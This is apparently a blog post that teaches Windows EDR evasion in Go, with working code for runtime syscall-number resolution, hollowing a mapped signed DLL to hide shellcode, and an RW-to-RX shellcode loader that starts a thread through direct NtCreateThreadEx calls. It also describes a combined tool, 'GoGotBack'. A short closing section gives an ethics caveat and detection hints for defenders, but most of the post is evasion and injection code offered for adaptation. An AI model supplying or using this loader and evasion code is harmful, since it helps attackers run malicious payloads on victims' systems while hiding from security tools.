TL;DR
We walk through three low-level tricks—dynamic syscalls, Phantom DLL hollowing, and RW→RX direct execution—and show how layering them confuses most Endpoint Detection & Response platforms.
All examples are in Go so you can adapt them quickly.
GitHub - nullcult/GoGotBack
Contribute to nullcult/GoGotBack development by creating an account on GitHub.
Table of Contents
- The EDR Problem Space
- Technique 1 – Dynamic Syscall Shuffling
- Technique 2 – Phantom DLL Hollowing
- Technique 3 – RW→RX Direct Exec
- Putting It Together: GoGotBack
- Defender’s Note & Caveats
The EDR Problem Space
Modern EDR engines weaponise two core ideas:
- Static analysis – scan PE imports & byte-signatures (
VirtualAlloc
,CreateRemoteThread
, etc.). - User-mode hooks – patch well-known APIs so calls are inspected in real time.
Our job is to sidestep both:
- avoid obvious imports
- jump directly into the kernel where hooks can’t follow.
Technique 1 – Dynamic Syscall Shuffling
“Talk to the kernel, not the hook.”
Goal – resolve the syscall number for NtAllocateVirtualMemory
, NtProtectVirtualMemory
… at runtime, then fire the SYSCALL
instruction directly.
// DynamicSyscall.go – simplified
package dynsys
import (
"fmt"
"golang.org/x/sys/windows"
"unsafe"
)
func Number(ntdllBase uintptr, fn string) (uint16, error) {
addr, err := windows.GetProcAddress(windows.Handle(ntdllBase), fn)
if err != nil {
return 0, err
}
// first bytes: MOV R10,RCX ; MOV EAX,xx ; SYSCALL ; RET
bytes := unsafe.Slice((*byte)(unsafe.Pointer(addr)), 10)
// naive scan for: 0xB8 <xx xx xx xx> (mov eax, imm32)
for i := 0; i < len(bytes)-5; i++ {
if bytes[i] == 0xB8 { // opcode
return *(*uint16)(unsafe.Pointer(&bytes[i+1])), nil
}
}
return 0, fmt.Errorf("syscall pattern not found")
}
Why it works: we never importVirtualAlloc
; static scanners go blind, and hooks inkernel32!VirtualAlloc
are bypassed.
Technique 2 – Phantom DLL Hollowing
“Hide in a legitimate PE, then move.”
Steps
# | Action | API (syscall form) |
---|---|---|
1 | Map a signed DLL (user32.dll ) without executing DllMain | NtCreateSection + NtMapViewOfSection |
2 | Locate a code section (e.g., .text ) | manual PE parsing |
3 | Flip to PAGE_READWRITE | NtProtectVirtualMemory |
4 | memset the section → 0×00 | NtWriteVirtualMemory |
5 | Drop raw shellcode | same |
6 | Flip to PAGE_EXECUTE_READ | NtProtectVirtualMemory |
// HollowSection.go – core idea
func Hollow(proc windows.Handle, base uintptr, sec IMAGE_SECTION_HEADER, sc []byte, s *Table) error {
addr := base + uintptr(sec.VirtualAddress)
size := uintptr(sec.VirtualSize)
var old uint32
// RW
if err := s.NtProtectVirtualMemory(proc, &addr, &size, windows.PAGE_READWRITE, &old); err != nil {
return err
}
// zero + inject
if _, err := s.NtWriteVirtualMemory(proc, addr, &sc[0], uintptr(len(sc))); err != nil {
return err
}
// RX
return s.NtProtectVirtualMemory(proc, &addr, &size, windows.PAGE_EXECUTE_READ, &old)
}
EDR impact: memory scanners see “signed module pages” → lower suspicion.
Technique 3 – Direct Memory Allocation Execution
“RW now, RX later, no module attached.”
func RunShellcode(sc []byte, s *Table) error {
var base uintptr
size := uintptr(len(sc))
// 1. RW anon
if err := s.NtAllocateVirtualMemory(windows.CurrentProcess(),
&base, 0, &size,
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE); err != nil {
return err
}
// 2. copy
if _, err := s.NtWriteVirtualMemory(windows.CurrentProcess(),
base, &sc[0], size); err != nil {
return err
}
// 3. RX
var old uint32
if err := s.NtProtectVirtualMemory(windows.CurrentProcess(),
&base, &size, windows.PAGE_EXECUTE_READ, &old); err != nil {
return err
}
// 4. thread
return s.NtCreateThreadEx(nil, windows.GENERIC_ALL, nil,
windows.CurrentProcess(), base, 0, 0, 0, 0, 0, 0)
}
GoGotBack: Layering for Resilience
Decode shellcode
│
▼
Phantom DLL hollowed (RW → RX)
│ (indirection)
▼
Private RW mem ◄─┐
Copy + flip to RX │
│ │ all via direct
NtCreateThreadEx ─────────────┘ syscalls
One hook fails → others still blinded.
Caveats and Conclusion
- No silver bullet – kernel callbacks, ETW & behaviour analytics can still surface odd patterns.
- Use ethically – only in lab or with explicit authorisation.
- Defenders: hunt for RW→RX flips + unbacked execute pages + NtCreateThreadEx combos; hookless doesn’t mean invisible.
© 2025 Ronnie– Feel free to share, but link back.